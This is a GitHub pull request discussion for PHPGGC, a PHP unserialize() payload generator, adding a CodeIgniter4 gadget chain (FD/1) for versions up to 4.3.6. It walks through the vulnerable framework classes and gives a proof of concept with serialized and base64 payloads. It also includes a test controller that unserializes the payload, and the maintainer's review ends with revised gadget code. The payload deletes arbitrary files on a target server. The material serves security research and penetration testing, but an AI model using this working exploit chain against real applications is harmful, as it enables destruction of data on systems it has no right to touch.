ambionics / phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
https://ambionics.io/blog
Apache License 2.0
3.2k stars 492 forks source link

CodeIgniter4: Added FD/1, which targets CodeIgniter4 versions <= 4.3.6 #154

Closed therealcoiffeur closed 1 year ago

therealcoiffeur commented 1 year ago

I would like to add my CodeIgniter4 gadget chain to PHPGGC.

Open Source PHP Framework (originally from EllisLab) .

Why?

Below is the responsible code.

File: system/Cache/Handlers/RedisHandler.php

<?php

...

namespace CodeIgniter\Cache\Handlers;

use CodeIgniter\Exceptions\CriticalError;
use CodeIgniter\I18n\Time;
use Config\Cache;
use Redis;
use RedisException;

/**
 * Redis cache handler
 */
class RedisHandler extends BaseHandler
{
    /**
     * Default config
     *
     * @var array
     */
    protected $config = [
        'host'     => '127.0.0.1',
        'password' => null,
        'port'     => 6379,
        'timeout'  => 0,
        'database' => 0,
    ];

    /**
     * Redis connection
     *
     * @var Redis
     */
    protected $redis;

    ...

    /**
     * Closes the connection to Redis if present.
     */
    public function __destruct()
    {
        if (isset($this->redis)) {
            $this->redis->close();
        }
    }

    ...

}

File: system/Session/Handlers/MemcachedHandler.php

<?php

...

namespace CodeIgniter\Session\Handlers;

use CodeIgniter\I18n\Time;
use CodeIgniter\Session\Exceptions\SessionException;
use Config\App as AppConfig;
use Config\Session as SessionConfig;
use Memcached;
use ReturnTypeWillChange;

/**
 * Session handler using Memcache for persistence
 */
class MemcachedHandler extends BaseHandler
{
    /**
     * Memcached instance
     *
     * @var Memcached|null
     */
    protected $memcached;

    /**
     * Key prefix
     *
     * @var string
     */
    protected $keyPrefix = 'ci_session:';

    /**
     * Lock key
     *
     * @var string|null
     */
    protected $lockKey;

    /**
     * Number of seconds until the session ends.
     *
     * @var int
     */
    protected $sessionExpiration = 7200;

    ...

    /**
     * Closes the current session.
     */
    public function close(): bool
    {
        if (isset($this->memcached)) {
            if (isset($this->lockKey)) {
                $this->memcached->delete($this->lockKey);
            }

            if (! $this->memcached->quit()) {
                return false;
            }

            $this->memcached = null;

            return true;
        }

        return false;
    }

    ...

}

File: system/Cache/Handlers/FileHandler.php

<?php

...

namespace CodeIgniter\Cache\Handlers;

use CodeIgniter\Cache\Exceptions\CacheException;
use CodeIgniter\I18n\Time;
use Config\Cache;
use Throwable;

/**
 * File system cache handler
 */
class FileHandler extends BaseHandler
{
    /**
     * Maximum key length.
     */
    public const MAX_KEY_LENGTH = 255;

    /**
     * Where to store cached files on the disk.
     *
     * @var string
     */
    protected $path;

    /**
     * Mode for the stored files.
     * Must be chmod-safe (octal).
     *
     * @var int
     *
     * @see https://www.php.net/manual/en/function.chmod.php
     */
    protected $mode;

    ...

    /**
     * {@inheritDoc}
     */
    public function delete(string $key)
    {
        $key = static::validateKey($key, $this->prefix);

        return is_file($this->path . $key) && unlink($this->path . $key);
    }

    ...

}

And function BaseHandler::validateKey() is defined as:

File: system/Cache/Handlers/BaseHandler.php

<?php

...

namespace CodeIgniter\Cache\Handlers;

use Closure;
use CodeIgniter\Cache\CacheInterface;
use Exception;
use InvalidArgumentException;

/**
 * Base class for cache handling
 */
abstract class BaseHandler implements CacheInterface
{
    /**
     * Reserved characters that cannot be used in a key or tag. May be overridden by the config.
     * From https://github.com/symfony/cache-contracts/blob/c0446463729b89dd4fa62e9aeecc80287323615d/ItemInterface.php#L43
     *
     * @deprecated in favor of the Cache config
     */
    public const RESERVED_CHARACTERS = '{}()/\@:';

    /**
     * Maximum key length.
     */
    public const MAX_KEY_LENGTH = PHP_INT_MAX;

    /**
     * Prefix to apply to cache keys.
     * May not be used by all handlers.
     *
     * @var string
     */
    protected $prefix;

    /**
     * Validates a cache key according to PSR-6.
     * Keys that exceed MAX_KEY_LENGTH are hashed.
     * From https://github.com/symfony/cache/blob/7b024c6726af21fd4984ac8d1eae2b9f3d90de88/CacheItem.php#L158
     *
     * @param string $key    The key to validate
     * @param string $prefix Optional prefix to include in length calculations
     *
     * @throws InvalidArgumentException When $key is not valid
     */
    public static function validateKey($key, $prefix = ''): string
    {
        if (! is_string($key)) {
            throw new InvalidArgumentException('Cache key must be a string');
        }
        if ($key === '') {
            throw new InvalidArgumentException('Cache key cannot be empty.');
        }

        $reserved = config('Cache')->reservedCharacters ?? self::RESERVED_CHARACTERS;
        if ($reserved && strpbrk($key, $reserved) !== false) {
            throw new InvalidArgumentException('Cache key contains reserved characters ' . $reserved);
        }

        // If the key with prefix exceeds the length then return the hashed version
        return strlen($prefix . $key) > static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
    }

    ...

}

How?

Proof Of Concept

php composer.phar create-project codeigniter4/appstarter test
cd test
echo 12345 > public/AAAA

Then we generate the gadget chain using PHPGGC (we need to encode the string in base64 as it contains NULL bytes).

./phpggc -f CodeIgniter4/FD1 AAAA   
a:2:{i:7;O:39:"CodeIgniter\Cache\Handlers\RedisHandler":1:{s:8:"*redis";O:45:"CodeIgniter\Session\Handlers\MemcachedHandler":2:{s:12:"*memcached";O:38:"CodeIgniter\Cache\Handlers\FileHandler":2:{s:9:"*prefix";s:0:"";s:7:"*path";s:0:"";}s:10:"*lockKey";s:4:"AAAA";}}i:7;i:7;}

./phpggc -b -f CodeIgniter4/FD1 AAAA
YToyOntpOjc7TzozOToiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcUmVkaXNIYW5kbGVyIjoxOntzOjg6IgAqAHJlZGlzIjtPOjQ1OiJDb2RlSWduaXRlclxTZXNzaW9uXEhhbmRsZXJzXE1lbWNhY2hlZEhhbmRsZXIiOjI6e3M6MTI6IgAqAG1lbWNhY2hlZCI7TzozODoiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcRmlsZUhhbmRsZXIiOjI6e3M6OToiACoAcHJlZml4IjtzOjA6IiI7czo3OiIAKgBwYXRoIjtzOjA6IiI7fXM6MTA6IgAqAGxvY2tLZXkiO3M6NDoiQUFBQSI7fX1pOjc7aTo3O30=

Then we edit the file app/Controllers/Home.php so that it contains the following code:

File: app/Controllers/Home.php

<?php

namespace App\Controllers;

class Home extends BaseController
{
    public function index()
    {
        $es = 'YToyOntpOjc7TzozOToiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcUmVkaXNIYW5kbGVyIjoxOntzOjg6IgAqAHJlZGlzIjtPOjQ1OiJDb2RlSWduaXRlclxTZXNzaW9uXEhhbmRsZXJzXE1lbWNhY2hlZEhhbmRsZXIiOjI6e3M6MTI6IgAqAG1lbWNhY2hlZCI7TzozODoiQ29kZUlnbml0ZXJcQ2FjaGVcSGFuZGxlcnNcRmlsZUhhbmRsZXIiOjI6e3M6OToiACoAcHJlZml4IjtzOjA6IiI7czo3OiIAKgBwYXRoIjtzOjA6IiI7fXM6MTA6IgAqAGxvY2tLZXkiO3M6NDoiQUFBQSI7fX1pOjc7aTo3O30=';
        $s = base64_decode($es);
        $o = unserialize($s);
        return view('welcome_message');
    }
}

Then the application can be launched as follows:

php spark serve

All we have to do now is make an HTTP GET request via curl to the URL http://localhost:8080 to trigger script execution.

cfreal commented 1 year ago

I haven't checked extensively but I believe there is a problem: the cache key should not contain "/", and as such the GC should handle this by splitting the input path and fill FileHandler::path and key.

For instance /file/to/delete.txt should yield path: /file/to and key: delete.txt.

Thoughts ?

therealcoiffeur commented 1 year ago

You're right, I therefore propose the following modification, which seems to work for me.

<?php

namespace CodeIgniter\Cache\Handlers {
    class RedisHandler {
        protected $redis;

        public function __construct($remote_path) {
            $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
                new \CodeIgniter\Cache\Handlers\FileHandler($remote_path),
                $remote_path
            );
        }
    }

    class FileHandler {
        protected $prefix;
        protected $path = "";

        public function __construct($remote_path) {
            $this->prefix = dirname($remote_path) . "/";
        }
    }
}

namespace CodeIgniter\Session\Handlers {
    class MemcachedHandler {
        protected $memcached;
        protected $lockKey;

        public function __construct($memcached, $remote_path) {
            $this->memcached = $memcached;
            $this->lockKey = basename($remote_path);
        }
    }
}
cfreal commented 1 year ago

Good to go ! Thanks coiffeur !